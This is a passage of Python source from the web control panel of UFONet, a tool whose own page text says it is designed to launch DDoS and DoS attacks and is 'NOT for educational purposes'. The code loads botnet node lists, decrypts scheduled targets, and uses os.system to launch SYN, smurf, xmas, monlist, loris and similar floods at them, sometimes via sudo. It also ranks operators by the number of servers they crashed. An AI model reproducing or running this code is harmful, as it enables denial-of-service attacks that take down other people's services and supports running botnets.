  1357. <table cellpadding="5" cellspacing="5"><tr>
  1358. <td><a href="javascript:alert('Dhïkta says: """ + self.ranking + """... I can open warps directly to blackholes created by other motherships. This is nice to share and increase your legion on a crypto-distributed way...');"><img src='data:image/png;base64,"""+self.alien3_img+"""'></a></td><td>
  1359. <table cellpading="5" cellspacing="10"><tr><td>
  1360. <form method='GET'>
  1361. Your key: <input type="text" name="blackhole_key" id="blackhole_key" size="20" value='"""+self.crypto_key+"""'>
  1362. </td></tr><tr><td>
  1363. <a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt();>Try decryption!</a>
  1364. </form>
  1365. </td></tr></table></td></tr></table>
  1366. <hr><br>
  1367. </center>
  1368. Last update: <font color='"""+ self.blackholes_status_color + """'>"""+ self.blackholes_datetime + """</font><br><br>
  1369. <div id="cmdOut"></div>
  1370. <div id="nb1" style="display: block;">"""+self.blackholes_text+"""</div>
  1371. """ + self.pages["/footer"]
  1372. def wargames_engage_routine(self, wargames_engage_list): # check jobs when gui refresh (global army supply)
  1373. sep = "#-#"
  1374. flag_ufosyn = None
  1375. flag_spray = None
  1376. flag_smurf = None
  1377. flag_xmas = None
  1378. flag_nuke = None
  1379. flag_tachyon = None
  1380. flag_monlist = None
  1381. for job in wargames_engage_list:
  1382. job_t2 = job.rsplit(sep, 1)[0]
  1383. job_creation = job_t2.rsplit(sep, 1)[0]
  1384. job_target = job_t2.rsplit(sep, 1)[1]
  1385. job_estimated = job.rsplit(sep, 1)[1]
  1386. self.decrypt(self.crypto_key, job_estimated)
  1387. if self.decryptedtext:
  1388. job_estimated_dec = self.decryptedtext
  1389. else:
  1390. job_estimated_dec = ""
  1391. self.decryptedtext = ""
  1392. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  1393. now = strptime(now, "%d-%m-%Y %H:%M:%S")
  1394. try:
  1395. job_estimated_dec = strptime(job_estimated_dec.decode('utf-8'), "%d-%m-%Y %H:%M:%S")
  1396. except:
  1397. job_estimated_dec = strptime(job_estimated_dec, "%d-%m-%Y %H:%M:%S")
  1398. if (job_estimated_dec == now or job_estimated_dec < now): # engage it! (when 'now' or '<')
  1399. self.decrypt(self.crypto_key, job_target)
  1400. if self.decryptedtext:
  1401. job_target_dec = self.decryptedtext
  1402. else:
  1403. job_target_dec = ""
  1404. self.decryptedtext = ""
  1405. if job_target_dec is not "":
  1406. job_target_dec = "http://" + job_target_dec # set target prefix to http://
  1407. try: # read global army supply (json)
  1408. with open(self.mothership_supplycfg_file) as data_file:
  1409. data = json.load(data_file)
  1410. except:
  1411. print('[Info] [AI] Cannot found: "core/json/supplycfg.json" -> [Generating!]')
  1412. with open(self.mothership_supplycfg_file, "w") as f:
  1413. json.dump({"botnet": 1, "loic": 0, "loris": 0, "ufosyn": 0, "spray": 0, "smurf": 0, "xmas": 0, "nuke": 0, "tachyon": 0, "monlist": 0}, f, indent=4)
  1414. with open(self.mothership_supplycfg_file) as data_file:
  1415. data = json.load(data_file)
  1416. self.supply_botnet = data["botnet"]
  1417. self.supply_loic = data["loic"]
  1418. self.supply_loris = data["loris"]
  1419. self.supply_ufosyn = data["ufosyn"]
  1420. self.supply_spray = data["spray"]
  1421. self.supply_smurf = data["smurf"]
  1422. self.supply_xmas = data["xmas"]
  1423. self.supply_nuke = data["nuke"]
  1424. self.supply_tachyon = data["tachyon"]
  1425. self.supply_monlist = data["monlist"]
  1426. job_estimated_dec = strftime("%d-%m-%Y %H:%M:%S", job_estimated_dec)
  1427. print("[Info] [Wargames] Time is over: [" + str(job_estimated_dec) + "] -> Engaging target: " + str(job_target_dec))
  1428. cmd = ""
  1429. nonroot_cmd = "python -i ufonet -a "+str(job_target_dec)+" -r "+str(self.supply_botnet)+" "
  1430. root_cmd = "sudo python -i ufonet -a "+str(job_target_dec)+" -r "+str(self.supply_botnet)+" "
  1431. if int(self.supply_monlist) > 0:
  1432. cmd += "--monlist " +str(self.supply_monlist)+ " "
  1433. flag_monlist = True
  1434. if int(self.supply_tachyon) > 0:
  1435. cmd += "--tachyon " +str(self.supply_tachyon)+ " "
  1436. flag_tachyon = True
  1437. if int(self.supply_nuke) > 0:
  1438. cmd += "--nuke " +str(self.supply_nuke)+ " "
  1439. flag_nuke = True
  1440. if int(self.supply_xmas) > 0:
  1441. cmd += "--xmas " +str(self.supply_xmas)+ " "
  1442. flag_xmas = True
  1443. if int(self.supply_smurf) > 0:
  1444. cmd += "--smurf " +str(self.supply_smurf)+ " "
  1445. flag_smurf = True
  1446. if int(self.supply_spray) > 0:
  1447. cmd += "--spray " +str(self.supply_spray)+ " "
  1448. flag_spray = True
  1449. if int(self.supply_ufosyn) > 0:
  1450. cmd += "--ufosyn " +str(self.supply_ufosyn)+ " "
  1451. flag_ufosyn = True
  1452. if int(self.supply_loris) > 0:
  1453. cmd += "--loris " +str(self.supply_loris)+ " "
  1454. if int(self.supply_loic) > 0:
  1455. cmd += "--loic " +str(self.supply_loic)+ " "
  1456. if not flag_monlist and not flag_tachyon and not flag_nuke and not flag_xmas and not flag_smurf and not flag_spray and not flag_ufosyn:
  1457. cmd = nonroot_cmd + cmd # non root required (LOIC, LORIS)
  1458. if flag_ufosyn == True or flag_spray == True or flag_smurf == True or flag_xmas == True or flag_nuke == True or flag_tachyon == True or flag_monlist == True:
  1459. cmd = root_cmd + cmd # root required (UFOSYN, SPRAY, SMURF, XMAS, NUKE, TACHYON, MONLIST)
  1460. runcmd = cmd + " "
  1461. runcmd = runcmd + "--force-yes &" # no raw_input allowed on webgui (+run it as daemon!)
  1462. print("[Info] [Wargames] Running command:", runcmd, "\n")
  1463. os.system(runcmd) # launch it!
  1464. if "!!!" in job: # remove it from queue (unjob)
  1465. f = open(self.wargames_file, "r")
  1466. ls = f.readlines()
  1467. f.close()
  1468. f = open(self.wargames_file, "w")
  1469. for l in ls:
  1470. if str(l) != str(job):
  1471. f.write(l)
  1472. else:
  1473. job = re.sub('[!!!]', '', job)
  1474. f.write(job)
  1475. f.close()
  1476. def extract_ranking_table(self):
  1477. f = open(self.grid_file,"r") # ranking data extracted from grid.txt
  1478. ls = f.readlines()
  1479. f.close()
  1480. if not ls: # not data on grid.txt
  1481. return
  1482. ranking_items={}
  1483. ranking_key = crypto_key
  1484. nodec_text = "Anonymous"
  1485. nodec_num = 0
  1486. self.ranking_grid_total = 0
  1487. try:
  1488. for j in ls:
  1489. if grid_msg_sep in j:
  1490. self.ranking_grid_total = self.ranking_grid_total + 1
  1491. m = j.split(grid_msg_sep)
  1492. ranking_nickname = m[0] # nickname
  1493. self.decrypt(ranking_key, ranking_nickname)
  1494. if self.decryptedtext:
  1495. ranking_nickname = str(self.decryptedtext)
  1496. else:
  1497. ranking_nickname = nodec_text
  1498. if ranking_nickname == "Anonymous":
  1499. ranking_nickname = ranking_nickname + str(self.ranking_grid_total*3) # add pseudo-rand as end to evade similars
  1500. self.decryptedtext = "" # clean decryptedtext buffer
  1501. ranking_ranking = m[1] # ranking
  1502. self.decrypt(ranking_key, ranking_ranking)
  1503. if self.decryptedtext:
  1504. try:
  1505. ranking_ranking = int(self.decryptedtext)
  1506. except:
  1507. ranking_ranking = nodec_num
  1508. else:
  1509. ranking_ranking = nodec_num
  1510. ranking_items[ranking_nickname] = ranking_ranking
  1511. except:
  1512. ranking_nickname = "Anonymous"
  1513. ranking_ranking = 0
  1514. ranking_items[ranking_nickname] = ranking_ranking
  1515. self.top_rookie = []
  1516. self.top_mercenary = []
  1517. self.top_bandit = []
  1518. self.top_ufommander = []
  1519. self.top_ufoleet = []
  1520. for k, v in ranking_items.items():
  1521. if v is 0: # not any data (or decryption allowed) on grid so discard
  1522. pass
  1523. if v is 1: # add this player as a rookie
  1524. self.ranking_grid_rookie = self.ranking_grid_rookie + 1
  1525. self.top_rookie.append(k)
  1526. elif v is 2: # add this player as a mercenary
  1527. self.ranking_grid_mercenary = self.ranking_grid_mercenary + 1
  1528. self.top_mercenary.append(k)
  1529. elif v is 3: # add this player as a bandit
  1530. self.ranking_grid_bandit = self.ranking_grid_bandit + 1
  1531. self.top_bandit.append(k)
  1532. elif v is 4: # add this player as a ufommander
  1533. self.ranking_grid_ufommander = self.ranking_grid_ufommander + 1
  1534. self.top_ufommander.append(k)
  1535. elif v is 5: # add this player as a ufoleet
  1536. self.ranking_grid_ufoleet = self.ranking_grid_ufoleet + 1
  1537. self.top_ufoleet.append(k)
  1538. else: # add this player as unknown
  1539. self.ranking_grid_unknown = self.ranking_grid_unknown + 1
  1540. top5 = sorted(ranking_items, key=ranking_items.get, reverse=True)[:5]
  1541. for p in top5: # extract best players
  1542. if self.ranking_top5_player1 == "Anonymous":
  1543. self.ranking_top5_player1 = p
  1544. elif self.ranking_top5_player2 == "Anonymous":
  1545. self.ranking_top5_player2 = p
  1546. elif self.ranking_top5_player3 == "Anonymous":
  1547. self.ranking_top5_player3 = p
  1548. elif self.ranking_top5_player4 == "Anonymous":
  1549. self.ranking_top5_player4 = p
  1550. elif self.ranking_top5_player5 == "Anonymous":
  1551. self.ranking_top5_player5 = p
  1552. if self.ranking == "Rookie":
  1553. shuffle(self.top_rookie) # shuffle for different results
  1554. top3 = self.top_rookie[:3]
  1555. elif self.ranking == "Mercenary":
  1556. shuffle(self.top_mercenary)
  1557. top3 = self.top_mercenary[:3]
  1558. elif self.ranking == "Bandit":
  1559. shuffle(self.top_bandit)
  1560. top3 = self.top_bandit[:3]
  1561. elif self.ranking == "UFOmmander!":
  1562. shuffle(self.top_ufommander)
  1563. top3 = self.top_ufommander[:3]
  1564. elif self.ranking == "UFOl33t!":
  1565. shuffle(self.top_ufoleet)
  1566. top3 = self.top_ufoleet[:3]
  1567. for p in top3: # extract similar player
  1568. if self.ranking_similar_player1 == "Anonymous":
  1569. self.ranking_similar_player1 = p
  1570. elif self.ranking_similar_player2 == "Anonymous":
  1571. self.ranking_similar_player2 = p
  1572. elif self.ranking_similar_player3 == "Anonymous":
  1573. self.ranking_similar_player3 = p
  1574. top1 = sorted(ranking_items, key=ranking_items.get, reverse=True)
  1575. shuffle(top1) # shuffle for different results
  1576. top1 = random.choice(top1).strip() # extract random player
  1577. self.ranking_top1_player1 = top1
  1578. def __init__(self):
  1579. self.crypto_key = crypto_key # set default symmetric crypto key
  1580. self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
  1581. self.board_file = 'data/board.txt' # set source path to retrieve board warning message
  1582. self.grid_file = 'data/grid.txt' # set source path to retrieve grid
  1583. self.board_warning = "" # set initial (str) board warning message
  1584. self.wargames_file = 'data/wargames.txt' # set source path to retrieve wargames
  1585. self.zombies_file = "botnet/zombies.txt" # set source path to retrieve 'zombies'
  1586. self.aliens_file = "botnet/aliens.txt" # set source path to retrieve 'aliens'
  1587. self.droids_file = "botnet/droids.txt" # set source path to retrieve 'droids'
  1588. self.ucavs_file = "botnet/ucavs.txt" # set source path to retrieve 'ucavs'
  1589. self.rpcs_file = "botnet/rpcs.txt" # set source path to retrieve 'rpcs'
  1590. self.release_date_file = "docs/release.date" # set source path to retrieve release date
  1591. self.news = "data/news.txt" # set source path to retrieve server news
  1592. self.missions = "data/missions.txt" # set source path to retrieve server missions
  1593. self.mothership_webcfg_file = 'core/json/webcfg.json' # set source for mothership webcfg
  1594. self.mothership_stats_file = 'core/json/stats.json' # set source for mothership stats
  1595. self.mothership_boardcfg_file = 'core/json/boardcfg.json' # set source for mothership boardcfg
  1596. self.mothership_gridcfg_file = 'core/json/gridcfg.json' # set source for mothership gridcfg
  1597. self.mothership_supplycfg_file = 'core/json/supplycfg.json' # set source for mothership supplyscfg
  1598. self.ranking = "Rookie Star" # set starting rank
  1599. self.decryptedtext = "" # set buffer for decryption
  1600. self.encryptedtext = "" # set buffer for encryption
  1601. self.blackholes = "data/nodes.dat" # set source path to retrieve server blackholes (nodes.dat)
  1602. self.blackhole = default_blackhole # set default blackhole
  1603. self.blackholes_status = "Not connected!" # set default status for blackholes
  1604. self.blackholes_status_color = "red" # set default status color for blackholes
  1605. self.referer = 'http://127.0.0.1/'
  1606. self.mothershipname = "core/txt/shipname.txt"
  1607. self.ufonet_logo_img = open("core/images/ufonet-logo.txt").read()
  1608. self.favicon_img = open("core/images/favicon.txt").read()
  1609. self.mothership_img = open("core/images/mothership.txt").read()
  1610. self.commander_img = open("core/images/commander.txt").read()
  1611. self.board_img = open("core/images/board.txt").read()
  1612. self.alien1_img = open("core/images/aliens/alien1.txt").read()
  1613. self.alien2_img = open("core/images/aliens/alien2.txt").read()
  1614. self.alien3_img = open("core/images/aliens/alien3.txt").read()
  1615. self.alien4_img = open("core/images/aliens/alien4.txt").read()
  1616. self.alien5_img = open("core/images/aliens/alien5.txt").read()
  1617. self.alien6_img = open("core/images/aliens/alien6.txt").read()
  1618. self.alien7_img = open("core/images/aliens/alien7.txt").read()
  1619. self.alien8_img = open("core/images/aliens/alien8.txt").read()
  1620. self.ranking_grid_total = 0
  1621. self.ranking_grid_rookie = 0
  1622. self.ranking_grid_mercenary = 0
  1623. self.ranking_grid_bandit = 0
  1624. self.ranking_grid_ufommander = 0
  1625. self.ranking_grid_ufoleet = 0
  1626. self.ranking_grid_unknown = 0
  1627. self.ranking_top5_player1 = "Anonymous"
  1628. self.ranking_top5_player2 = "Anonymous"
  1629. self.ranking_top5_player3 = "Anonymous"
  1630. self.ranking_top5_player4 = "Anonymous"
  1631. self.ranking_top5_player5 = "Anonymous"
  1632. self.ranking_similar_player1 = "Anonymous"
  1633. self.ranking_similar_player2 = "Anonymous"
  1634. self.ranking_similar_player3 = "Anonymous"
  1635. self.ranking_top1_player1 = "Anonymous"
  1636. f = open(self.mothershipname) # extract ship name
  1637. self.mothership_id = f.read()
  1638. self.mothership_id = self.mothership_id[:25] # truncating anti-formats ;-)
  1639. f.close()
  1640. f = open(self.release_date_file) # extract release creation datetime
  1641. self.release_date = f.read()
  1642. # adding AnonTwi (anontwi.03c8.net) cyphering -> AES256+HMAC-SHA1
  1643. self.trans_5C = ''.join([chr (x ^ 0x5c) for x in range(256)])
  1644. self.trans_36 = ''.join([chr (x ^ 0x36) for x in range(256)])
  1645. self.trans_5C = self.trans_5C.encode("latin-1")
  1646. self.trans_36 = self.trans_36.encode("latin-1")
  1647. f.close()
  1648. f = open(self.blackholes) # double extract blackholes (nodes.dat)
  1649. self.blackholes_text = f.read()
  1650. f.close()
  1651. f = open(self.blackholes)
  1652. self.blackholes_block = f.readlines()
  1653. f.close()
  1654. self.list_blackholes = []
  1655. for b in self.blackholes_block:
  1656. self.list_blackholes.append(b)
  1657. self.blackholes_datetime = time.ctime(os.path.getctime('data/nodes.dat')) # extract nodes.dat datetime
  1658. if self.blackholes_datetime == self.release_date_file: # never connected to feeds
  1659. self.blackholes_status_color = "red" # set status color for blackholes to 'red'
  1660. else:
  1661. self.blackholes_status_color = "green" # set status color for blackholes to 'green'
  1662. f = open(self.news) # double extract news
  1663. self.news_text = f.read()
  1664. f.close()
  1665. f = open(self.news)
  1666. self.news_block = f.readlines()
  1667. f.close()
  1668. self.list_news = []
  1669. for n in self.news_block:
  1670. self.list_news.append(n)
  1671. self.news_datetime = time.ctime(os.path.getctime('data/news.txt')) # extract news.txt datetime
  1672. if self.news_datetime == self.release_date_file: # never connected to feeds
  1673. self.news_status_color = "red" # set status color for news to 'red'
  1674. else:
  1675. self.news_status_color = "green" # set status color for news to 'green'
  1676. f = open(self.board_file) # double extract board
  1677. self.moderator_text = f.read()
  1678. f.close()
  1679. f = open(self.board_file)
  1680. self.moderator_block = f.readlines()
  1681. f.close()
  1682. self.list_moderator = []
  1683. for n in self.moderator_block:
  1684. self.list_moderator.append(n)
  1685. f = open(self.grid_file) # double grid board
  1686. self.grid_text = f.read()
  1687. self.ranking_text = f.read() # ranking data is extracted from grid
  1688. f.close()
  1689. f = open(self.grid_file)
  1690. self.grid_block = f.readlines()
  1691. f.close()
  1692. self.list_grid = []
  1693. for n in self.grid_block:
  1694. self.list_grid.append(n)
  1695. self.ranking_datetime = time.ctime(os.path.getctime('data/grid.txt')) # extract grid.txt datetime for ranking calcs
  1696. if self.ranking_datetime == self.release_date_file: # never connected to feeds
  1697. self.ranking_status_color = "red" # set status color for ranking to 'red'
  1698. else:
  1699. self.ranking_status_color = "green" # set status color for ranking to 'green'
  1700. f = open(self.wargames_file) # double wargames board
  1701. self.wargames_text = f.read()
  1702. f.close()
  1703. f = open(self.wargames_file)
  1704. self.wargames_block = f.readlines()
  1705. f.close()
  1706. self.list_wargames = []
  1707. for n in self.wargames_block:
  1708. self.list_wargames.append(n)
  1709. f = open(self.missions) # double extract missions
  1710. self.missions_text = f.read()
  1711. f.close()
  1712. f = open(self.missions)
  1713. self.missions_block = f.readlines()
  1714. f.close()
  1715. self.list_missions = []
  1716. for m in self.missions_block:
  1717. self.list_missions.append(m)
  1718. self.missions_datetime = time.ctime(os.path.getctime('data/missions.txt')) # extract missions.txt datetime
  1719. if self.missions_datetime == self.release_date_file: # never connected to feeds
  1720. self.missions_status_color = "red" # set status color for missions to 'red'
  1721. else:
  1722. self.missions_status_color = "green" # set status color for missions to 'green'
  1723. stats_json_file = open(self.mothership_stats_file, "r") # extract mothership stats
  1724. data = json.load(stats_json_file)
  1725. stats_json_file.close()
  1726. self.abductor = Abductor(self) # call abductor for data size conversor
  1727. self.aflying = data["flying"]
  1728. self.ascanner = data["scanner"]
  1729. self.atransferred = data["transferred"]
  1730. self.amax_chargo = data["max_chargo"]
  1731. self.amissions = data["missions"]
  1732. self.acompleted = data["completed"]
  1733. self.aloic = data["loic"]
  1734. self.aloris = data["loris"]
  1735. self.aufosyn = data["ufosyn"]
  1736. self.aspray = data["spray"]
  1737. self.asmurf = data["smurf"]
  1738. self.axmas = data["xmas"]
  1739. self.anuke = data["nuke"]
  1740. self.atachyon = data["tachyon"]
  1741. self.amonlist = data["monlist"]
  1742. self.tcrashed = data["crashed"]
  1743. if int(self.acompleted) > 0: # check for attacks completed
  1744. self.mothership_acc = Decimal((int(self.tcrashed) * 100) / int(self.acompleted)) # decimal rate: crashed*100/completed
  1745. else:
  1746. self.mothership_acc = 100 # WarGames: "the only way to win in Nuclear War is not to play"
  1747. if int(self.acompleted) < 5: # generating motherships commander ranks by rpg/experiences
  1748. self.ranking = "Rookie"
  1749. elif int(self.acompleted) > 4 and int(self.tcrashed) < 1: # add first ranking step on 5 complete attacks
  1750. self.ranking = "Mercenary"
  1751. elif int(self.tcrashed) > 0 and int(self.tcrashed) < 2: # second ranking step with almost 1 crashed
  1752. self.ranking = "Bandit"
  1753. elif int (self.acompleted) < 50 and int(self.tcrashed) > 4: # third ranking value is only for real "crashers" ;-)
  1754. self.ranking = "UFOmmander!"
  1755. elif int(self.acompleted) > 49 and int(self.tcrashed) > 4: # this people is trying to build a Global Federated Network >-)
  1756. self.ranking = "UFOl33t!"
  1757. f = open(self.zombies_file)
  1758. self.zombies = f.readlines()
  1759. self.zombies = [zombie.replace('\n', '') for zombie in self.zombies]
  1760. self.list_zombies = []
  1761. for zombie in self.zombies:
  1762. t = urlparse(zombie)
  1763. name_zombie = t.netloc
  1764. if "www." in name_zombie:
  1765. name_zombie = name_zombie.replace("www.","")
  1766. self.list_zombies.append(name_zombie)
  1767. self.num_zombies = str(len(self.zombies))
  1768. f.close()
  1769. f = open(self.aliens_file)
  1770. self.aliens = f.readlines()
  1771. self.aliens = [alien.replace('\n', '') for alien in self.aliens]
  1772. self.list_aliens = []
  1773. for alien in self.aliens:
  1774. t = urlparse(alien)
  1775. name_alien = t.netloc
  1776. if "www." in name_alien:
  1777. name_alien = name_alien.replace("www.","")
  1778. self.list_aliens.append(name_alien)
  1779. self.num_aliens = str(len(self.aliens))
  1780. f.close()
  1781. f = open(self.droids_file)
  1782. self.droids = f.readlines()
  1783. self.droids = [droid.replace('\n', '') for droid in self.droids]
  1784. self.list_droids = []
  1785. for droid in self.droids:
  1786. t = urlparse(droid)
  1787. name_droid = t.netloc
  1788. if "www." in name_droid:
  1789. name_droid = name_droid.replace("www.","")
  1790. self.list_droids.append(name_droid)
  1791. self.num_droids = str(len(self.droids))
  1792. f.close()
  1793. f = open(self.ucavs_file)
  1794. self.ucavs = f.readlines()
  1795. self.ucavs = [ucav.replace('\n', '') for ucav in self.ucavs]
  1796. self.list_ucavs = []
  1797. for ucav in self.ucavs:
  1798. t = urlparse(ucav)
  1799. name_ucav = t.netloc
  1800. if "www." in name_ucav:
  1801. name_ucav = name_ucav.replace("www.","")
  1802. self.list_ucavs.append(name_ucav)
  1803. self.num_ucavs = str(len(self.ucavs))
  1804. f.close()
  1805. f = open(self.rpcs_file)
  1806. self.rpcs = f.readlines()
  1807. self.rpcs = [rpc.replace('\n', '') for rpc in self.rpcs]
  1808. self.list_rpcs = []
  1809. for rpc in self.rpcs:
  1810. t = urlparse(rpc)
  1811. name_rpc = t.netloc
  1812. if "www." in name_rpc:
  1813. name_rpc = name_rpc.replace("www.","")
  1814. self.list_rpcs.append(name_rpc)
  1815. self.num_rpcs = str(len(self.rpcs))
  1816. f.close()
  1817. self.total_botnet = str(int(self.num_zombies) + int(self.num_aliens) + int(self.num_droids) + int(self.num_ucavs) + int(self.num_rpcs))
  1818. f = open(self.wargames_file, "r")
  1819. ls = f.readlines()
  1820. f.close()
  1821. self.supply_wargames = 0
  1822. self.wargames_engage_list = []
  1823. for l in ls:
  1824. if "!!!" in l:
  1825. self.wargames_engage_list.append(l)
  1826. self.supply_wargames = self.supply_wargames + 1
  1827. if self.supply_wargames > 0:
  1828. if self.supply_wargames == 1:
  1829. c_supply = "wargame"
  1830. else:
  1831. c_supply = "wargames"
  1832. self.current_tasks = '<br>-----------------------------------\n\n+ Jobs: <a href="/wargames">' + str(self.supply_wargames) + '</a> '+c_supply+''
  1833. self.wargames_engage_routine(self.wargames_engage_list) # threaded jobs engage routine
  1834. else:
  1835. self.current_tasks = ""
  1836. self.options = UFONetOptions()
  1837. self.pages = {}
  1838. self.pages["/header"] = """<!DOCTYPE html><html>
  1839. <head>
  1840. <link rel="icon" type="image/png" href="/images/favicon.ico" />
  1841. <meta name="author" content="psy">
  1842. <meta name="robots" content="noindex, nofollow">
  1843. <meta http-equiv="content-type" content="text/xml; charset=utf-8" />
  1844. <title>UFONet - [ C&C/DarkNet ]</title>
  1845. <script language="javascript" src="/lib.js"></script>
  1846. <script language="javascript" src="js/stars.js"></script>
  1847. <style>
  1848. body{font-size:15px}a,a:hover{outline:none;color:red;font-size:14px;font-weight:700}nav ul ul{display:none}nav ul li:hover > ul{display:block}nav ul{list-style:none;position:relative;display:inline-table}nav ul:after{content:"";clear:both;display:block}nav ul li{font-size:12px}nav ul li a{display:block;padding:2px 3px}html,body{height:100%}ul,li{margin:0;padding:0}.ringMenu{width:100px;margin:80px auto}.ringMenu ul{list-style:none;position:relative;width:100px;color:#fff}.ringMenu ul a{color:#fff}.ringMenu ul li{-webkit-transition:all .3s ease-in-out;-moz-transition:all .3s ease-in-out;-o-transition:all .3s ease-in-out;transition:all .3s ease-in-out}.ringMenu ul li a{display:block;width:100px;height:100px;background:rgba(50,50,50,0.7);text-align:center;line-height:100px;-webkit-border-radius:50px;-moz-border-radius:50px;border-radius:50px}.ringMenu ul li a:hover{background:rgba(230,150,20,0.7)}.ringMenu ul li:not(.main){-webkit-transform:rotate(-180deg) scale(0);-moz-transform:rotate(-180deg) scale(0);-o-transform:rotate(-180deg) scale(0);transform:rotate(-180deg) scale(0);opacity:0}.ringMenu:hover ul li{-webkit-transform:rotate(0) scale(1);-moz-transform:rotate(0) scale(1);-o-transform:rotate(0) scale(1);transform:rotate(0) scale(1);opacity:1}.ringMenu ul li.top{-webkit-transform-origin:50% 152px;-moz-transform-origin:50% 152px;-o-transform-origin:50% 152px;transform-origin:50% 152px;position:absolute;top:-102px;left:0}.ringMenu ul li.bottom{-webkit-transform-origin:50% -52px;-moz-transform-origin:50% -52px;-o-transform-origin:50% -52px;transform-origin:50% -52px;position:absolute;bottom:-102px;left:0}.ringMenu ul li.right{-webkit-transform-origin:-52px 50%;-moz-transform-origin:-52px 50%;-o-transform-origin:-52px 50%;transform-origin:-52px 50%;position:absolute;top:0;right:-102px}.ringMenu ul li.left{-webkit-transform-origin:152px 50%;-moz-transform-origin:152px 50%;-o-transform-origin:152px 50%;transform-origin:152px 50%;position:absolute;top:0;left:-102px}textarea{padding:30px 0}
  1849. </style>"""
  1850. self.pages["/footer"] = """</center></body>
  1851. </html>
  1852. """
  1853. self.pages["/"] = self.pages["/header"] + """<script language="javascript">
  1854. function Start() {
  1855. var win_start = window.open("gui","_parent","fullscreen=yes, titlebar=yes, top=180, left=320, width=640, height=460, resizable=yes", false);
  1856. }
  1857. </script>
  1858. <script type="text/javascript">
  1859. var text="REMEMBER -> This code is NOT for educational purposes!!";
  1860. var delay=1;
  1861. var currentChar=1;
  1862. var destination="tt";
  1863. function type()
  1864. {
  1865. if (document.getElementById)
  1866. {
  1867. var dest=document.getElementById(destination);
  1868. if (dest)
  1869. {
  1870. dest.innerHTML=text.substr(0, currentChar);
  1871. currentChar++
  1872. if (currentChar>text.length)
  1873. {
  1874. currentChar=1;
  1875. setTimeout("type()", 5000);
  1876. }
  1877. else
  1878. {
  1879. setTimeout("type()", delay);
  1880. }
  1881. }
  1882. }
  1883. }
  1884. function startTyping(textParam, delayParam, destinationParam)
  1885. {
  1886. text=textParam;
  1887. delay=delayParam;
  1888. currentChar=1;
  1889. destination=destinationParam;
  1890. type();
  1891. }
  1892. </script>
  1893. <link rel="stylesheet" href="/js/ufo-cloud.css" />
  1894. </head>
  1895. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1896. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1897. <center><br><br><br><br>
  1898. <table><tr><td><img src='data:image/png;base64,"""+self.ufonet_logo_img+"""'></td><td>
  1899. <div class="ufo-cloud">
  1900. <ul>
  1901. <li><a href="javascript:alert('Let them hate so long as they fear...');"><span></span>'oderint dum metuant'</a></li>
  1902. <li><a href="javascript:alert('In order to achieve what has been undertaken...');"><span></span>'ad susceptum perficiendum'</a></li>
  1903. <li><a href="javascript:alert('Out of order, comes chaos...');"><span></span>'chao ab ordo'</a></li>
  1904. <li><a href="javascript:alert('The truth being enveloped by obscure things...');"><span></span>'obscuris vera involvens'</a></li>
  1905. <li><a href="javascript:alert('Everything changes, nothing perishes...');"><span></span>'omnia mutantur, nihil interit'</a></li>
  1906. <li><a href="javascript:alert('One world...');"><span></span>'orbis unum'</a></li>
  1907. <li><a href="javascript:alert('If you want peace, prepare the war...');"><span></span>'si vis pacem, para bellum'</a></li>
  1908. <li><a href="javascript:alert('Man is a wolf to man...');"><span></span>'homo homini lupus'</a></li>
  1909. <li><a href="javascript:alert('Ignorance is the cause of fear...');"><span></span>'causa de timendi est nescire'</a></li>
  1910. <li><a href="javascript:alert('There is still time...');"><span></span>'adhuc tempus'</a></li>
  1911. <li><a href="javascript:alert('No regime is sustained for a long time exercising violence...');"><span></span>'iniqua nunquam regna perpetuo manent'</a></li>
  1912. <li><a href="javascript:alert('From one, learn all...');"><span></span>'ab uno disce omnes'</a></li>
  1913. <li><a href="javascript:alert('One for all, all for one...');"><span></span>'unus pro omnibus, omnes pro uno'</a></li>
  1914. <li><a href="javascript:alert('Do what you are doing...');"><span></span>'age quod agis'</a></li>
  1915. <li><a href="javascript:alert('Make your move...');"><span></span>'fac et excusa'</a></li>
  1916. <li><a href="javascript:alert('Divide and conquer...');"><span></span>'divide et impera'</a></li>
  1917. <li><a href="javascript:alert('If you did it, deny it...');"><span></span>'si fecisti nega'</a></li>
  1918. <li><a href="javascript:alert('There is no law, if there is a need...');"><span></span>'necessitas caret lege'</a></li>
  1919. <li><a href="javascript:alert('Let justice be done, and let the world perish...');"><span></span>'fiat iustitia, et pereat mundus'</a></li>
  1920. </ul>
  1921. </div>
  1922. </td></tr></table><br>
  1923. <hr>
  1924. <br /><b><a href="https://ufonet.03c8.net" target="_blank">UFONet</a></b> - is a toolkit designed to launch <a href="https://en.wikipedia.org/wiki/Distributed_denial-of-service" target="_blank">DDoS</a> and <a href="https://en.wikipedia.org/wiki/Denial-of-service_attack" target="_blank">DoS</a> attacks.<br /><br />
  1925. <div id="tt">REMEMBER -> This code is NOT for educational purposes!!</div><br />
  1926. <script type="text/javascript">
  1927. startTyping(text, 80, "tt");
  1928. </script><hr><br />
  1929. <button title="Start to fly with your UFONet mothership..." onclick="Start()" style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">START MOTHERSHIP!</button>""" + self.pages["/footer"]
  1930. self.pages["/gui"] = self.pages["/header"] + """<script>function News() {
  1931. var win_requests = window.open("news","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  1932. }
  1933. </script>
  1934. <script>function Missions() {
  1935. var win_requests = window.open("missions","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  1936. }
  1937. </script>
  1938. <script>function Stats() {
  1939. var win_requests = window.open("stats","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  1940. }
  1941. </script>
  1942. <script>function Board() {
  1943. var win_requests = window.open("board","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  1944. }
  1945. </script>
  1946. </head>
